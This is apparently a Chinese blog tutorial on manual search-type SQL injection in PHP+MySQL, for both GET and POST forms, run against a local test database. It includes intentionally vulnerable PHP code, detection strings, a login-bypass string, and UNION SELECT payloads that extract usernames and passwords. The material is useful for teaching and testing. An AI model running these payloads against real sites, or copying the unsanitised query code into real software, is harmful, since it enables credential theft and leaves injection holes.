SQL注入系列之PHP+Mysql手动注入(三)----搜索型(POST/GET)

一、搜索型注入简介与原理

1)简介

一些网站为了方便用户查找网站的资源,都对用户提供了搜索的功能,因为是搜索功能,往往是程序员在编写代码时都忽略了对其变量(参数)的过滤,而且这样的漏洞在国内的系统中普遍的存在:

其中又分为POST/GET,GET型的一般是用在网站上的搜索,而POST则用在用户名的登录,可以从form表单的method="get"属性来区分是get还是post。搜索型注入又称为文本框注入

2)原理

[html]  view plain  copy
  1. $sql="select * from user where password like '%$pwd%' order by password";  

这句SQL的语句就是基于用户输入的pwd在users表中找到相应的password,正常用户当然会输入例如admin,ckse等等。但是如果有人输入这样的内容呢?

[html] view plain copy

  1. 'and 1=1 and '%'='  

这样的话这句SQL语句就变成了这样
html] view plain copy

  1. select * from user where password like '%fendo'and 1=1 and '%'='%' order by password  

存在SQL注入。

二、搜索型注入判断

判断搜索型注入的方法:

1 搜索keywords‘,如果出错的话,有90%的可能性存在漏洞;
2 搜索 keywords%,如果同样出错的话,就有95%的可能性存在漏洞;
3 搜索keywords% 'and 1=1 and '%'='(这个语句的功能就相当于普通SQL注入的 and 1=1)看返回的情况
4 搜索keywords% 'and 1=2 and '%'='(这个语句的功能就相当于普通SQL注入的 and 1=2)看返回的情况
5 根据两次的返回情况来判断是不是搜索型文本框注入了

下面这几种语句都可以:

'and 1=1 and '%'='

%' and 1=1--'

%' and 1=1 and '%'='



三、搜索型注入实战

1)GET型注入

测试源码:

[html]  view plain  copy
  1. <?  
  2. $pwd=$_GET['pwd'];  
  3. $conn=mysql_connect("127.0.0.1","root","123");//连接mysql数据库  
  4. if($conn){  
  5.     echo "连接数据库成功!";   
  6. }//判断连接是否成功  
  7. echo "<br>";  
  8. mysql_select_db('fendo',$conn);//选择连接请求为conn的数据库(fendo)  
  9. $sql="select * from user where password like '%$pwd%' order by password"; //字符型搜索语句  
  10. $result=mysql_query($sql);  
  11. while($row = mysql_fetch_array($result)){   
  12.     echo "用户ID:".$row['id']."<br >";  
  13.     echo "用户名:".$row['username']."<br >";  
  14.     echo "用户密码:".$row['password']."<br >";  
  15.     echo "用户邮箱:".$row['email']."<br >";  
  16. }  
  17. mysql_close($conn); //关闭数据库连接  
  18. echo "<hr>";  
  19. echo "你当前执行的sql语句为:"."<br >";  
  20. echo $sql;  
  21. ?>  


1.判断字段数

语句:

[html]  view plain  copy
  1. %' union select 1,2,3,4,...... and '%'='  


还有种方法

语句:


[html]  view plain  copy
  1. <span style="font-size:18px;">%' and exists (select id from user where LENGTH(username)<6 and id=1) and '%'='   
  2. </span>  

把6这个数字逐次更换,直到他不报错为止。如下当它小于6时正确,说明字段数为5。




2.判断表名

语句:

[html]  view plain  copy
  1. %'and(select count(*)from admin)>0 and '%'='  

把admin这个表名逐次更换,直到他不报错为止,就说明这个表存在。

3.猜解密码

由于这里用的就是密码,所以这里换成猜解用户名


2)POST型注入

测试源码

[html] view plain copy

  1. <?  
  2. //--------------------------post处理--------------------------------//  
  3. $name=addslashes($_POST['n']);   
  4. $pass=addslashes($_POST['p']);  
  5. $conn = mysql_connect('127.0.0.1','root','123');   
  6. if($conn){  
  7.     echo "mysql连接成功";  
  8.     echo "<hr>";    
  9. }  
  10. mysql_select_db('fendo',$conn);    
  11. $sql="select * from user where username='$name' and password='$pass'";  
  12. $result=mysql_query($sql);  
  13. mysql_close($conn);  
  14. while($row = mysql_fetch_array($result)){  
  15.     echo "用户ID:".$row['id']."<br >";  
  16.     echo "用户名:".$row['username']."<br >";  
  17.     echo "用户密码:".$row['password']."<br >";  
  18. }  
  19. echo "当前执行的sql语句:".$sql;  
  20. ?>  
  21.   
  22. <form action="" method="POST">  
  23. 账号:<input name="n" type="text" /><br><br>  
  24. 密码:<input name="p" type="text" /><br><br>  
  25. <input name="" type="submit" value="提交" />  
  26.   
  27. </form>  



1.判断是否存在SQL注入

用PHP万能密码进行测试

[html]  view plain  copy
  1. ' or 1=1#  
在用户名里输入万能密码如果没报错,就说明存在SQL注入。




2.猜字段数

[html]  view plain  copy
  1. ' order by 4#  

逐次更改数字去猜,直到不报错为止。

3.猜表名

[html]  view plain  copy
  1. 'or 1=1 union select 1,2,3,4 #  

逐次累加数字,直到不报错为止。



4.猜内容

替换1,2,3为你想要获得的内容

[html]  view plain  copy
  1. 'or 1=1 union select username,password,3,4 from user#   

  • 2
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值